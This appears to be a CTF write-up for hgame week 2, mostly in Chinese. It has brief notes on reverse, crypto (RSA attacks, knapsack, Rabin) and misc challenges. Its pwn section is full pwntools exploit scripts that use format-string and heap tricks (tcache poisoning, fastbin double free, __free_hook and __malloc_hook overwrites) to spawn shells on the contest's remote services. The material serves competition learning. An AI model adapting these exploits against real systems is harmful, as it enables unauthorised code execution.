hgame week2

Reverse

before_main

base64换表，main函数给的不是正确的编码结果，在另一处函数找到的base64编码解码即可

math

矩阵乘法，求逆即可

Pwn

YukkuriSay

```
from pwn import *

p = remote('week-2.hgame.lwsec.cn',31383)
#p = process("./vuln")
elf = ELF("./vuln")
libc = ELF("./libc-2.31.so")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
```

```
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))

#gdb.attach(p)
sea("Yukkri say?\n",b'a'*0x98)
ru(b'a'*50)
ru(b'a'*50)
ru(b'a'*50)
ru(b'a'*2)

libcbase = uu64(ru(b'\x7f')+b'\x7f')-0x1ed5c0
lg("libcbase",libcbase)
og = libcbase+0xe3b01
sla("else?(Y/n)",'y')
se(b'a'*0x100)
ru(b'a'*50)
ru(b'a'*50)
ru(b'a'*50)
ru(b'a'*50)
ru(b'a'*50)
ru(b'a'*6)
stack = uu64(p.recv(6))-0x8
lg("stack",stack)
#gdb.attach(p)
sla("anything else?(Y/n)\n",'y')

sl(p64(stack)+p64(stack+4)+p64(stack+2))
sla("anything else?(Y/n)\n",'n')
og1 = og%0x10000
og2 = (og>>16)%0x10000
og3 = (og>>32)%0x10000
lg("og",og)
payload = "%{}c%8$hn%{}c%9$hn%{}c%10$hn".format(og1,og3-
og1,og2-og3)
```

```
#gdb.attach(p)
sla("gift for you: ",payload)
#gdb.attach(p)
p.interactive()

"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""
```

editable_note

```
from pwn import *

p = remote('week-2.hgame.lwsec.cn',31360 )
#p = process("./vuln")
libc = ELF("./libc-2.31.so")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
```

```
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))

def cmd(i):
    sla(">",str(i))

def add(idx,size):
    cmd(1)
    sla("Index: ",str(idx))
    sla("Size: ",str(size))

def dele(idx):
    cmd(2)
    sla("Index: ",str(idx))

def edit(idx,cont):
    cmd(3)
    sla("Index: ",str(idx))
    sla("Content: ",cont)

def show(idx):
    cmd(4)
    sla("Index: ",str(idx))



for i in range(9):
    add(i,0x80)

for i in range(8):
    dele(i)

show(7)
libcbase = uu64(ru("\n"))-0x1ecbe0
lg("libcbase",libcbase)
free_hook = libcbase+libc.sym['__free_hook']
```

```
system = libcbase+libc.sym['system']

edit(6,p64(free_hook))
add(9,0x80)
add(10,0x80)
edit(9,b'/bin/sh\x00')
edit(10,p64(system))
dele(9)
#gdb.attach(p)

p.interactive()
```

fast_note

```
from pwn import *

p = remote('week-2.hgame.lwsec.cn',31240 )
#p = process("./vuln")
libc = ELF("./libc-2.23.so")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))


def cmd(i):
    sla(">",str(i))

def add(idx,size,cont):
    cmd(1)
```

```
    sla("Index: ",str(idx))
    sla("Size: ",str(size))
    sla("Content: ",cont)

def dele(idx):
    cmd(2)
    sla("Index: ",str(idx))

def show(idx):
    cmd(3)
    sla("Index: ",str(idx))

add(0,0x80,'a')
add(1,0x60,'a')
add(2,0x60,'a')
add(3,0x20,'a')

dele(0)
show(0)
libcbase = uu64(ru("\n"))-0x3c4b78
lg("libcbase",libcbase)
realloc = libcbase+libc.sym['realloc']
malloc_hook = libcbase+libc.sym['__malloc_hook']
og = libcbase+0xf1247

dele(1)
dele(2)
dele(1)
add(4,0x60,p64(malloc_hook-0x23))
add(5,0x60,'a')
add(6,0x60,'a')
add(7,0x60,b'a'*(0x23-0x18)+p64(og)+p64(realloc+0xb))

cmd(1)
sla("Index: ",'8')
#gdb.attach(p)
```

```
sla("Size: ",str(0x20))


p.interactive()

"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
```

new_fast_note

```
from pwn import *

p = remote('week-2.hgame.lwsec.cn',32126)
#p = process("./vuln")
libc = ELF("./libc-2.31.so")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
```

```
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))

def cmd(i):
    sla(">",str(i))

def add(idx,size,cont):
    cmd(1)
    sla("Index: ",str(idx))
    sla("Size: ",str(size))
    sla("Content: ",cont)

def dele(idx):
    cmd(2)
    sla("Index: ",str(idx))

def show(idx):
    cmd(3)
    sla("Index: ",str(idx))



for i in range(8):
    add(i,0x80,'a')

for i in range(9):
    add(i+8,0x70,'a')

#add(0,0x70,'a')
#add(1,0x70,'a')
for i in range(8):
    dele(i)

show(7)
libcbase = uu64(ru("\n"))-0x1ecbe0
```

```
lg("libcbase",libcbase)
free_hook = libcbase+libc.sym['__free_hook']
system = libcbase+libc.sym['system']

add(0,0x70,'a')
add(1,0x70,'a')
add(2,0x70,'a')
add(3,0x20,';sh\x00')
for i in range(7):
    dele(i+8)

dele(0)
dele(1)
dele(2)
dele(1)

for i in range(7):
    add(i,0x70,'a')

add(0,0x70,p64(free_hook))
add(0,0x70,'a')
add(0,0x70,'a')
add(0,0x70,p64(system))
add(0,0x20,b'/bin/sh\x00')
dele(0)
#gdb.attach(p)
p.interactive()
```

Crypto

零元购年货商店

go语言写的网站，异或加密，把格式搞明白了，先给vidar_ti，最后在这位做个局部异或即可

包里有什么

背包，给了b[0]，把私钥恢复，正常解密即可

Rabin

rabin解密

RSA 大冒险1

1. chall1

$n = pqr$，给了p

直接在模p下解密

2. chall2

$n = pq$，p会换，gcd分解n

3. chall3

低加密指数攻击

4. chall4

e会换，共模攻击

Misc

Sign In Pro Max

前三个扔https://hashtoolkit.com/decrypt-hash/

最后一个凯撒加密，注意格式中间-相连

Tetris Master&revenge

一开始给master，target给了个exec会报错，大概是会执行一些命令，于是第一次改score，第二次改master即可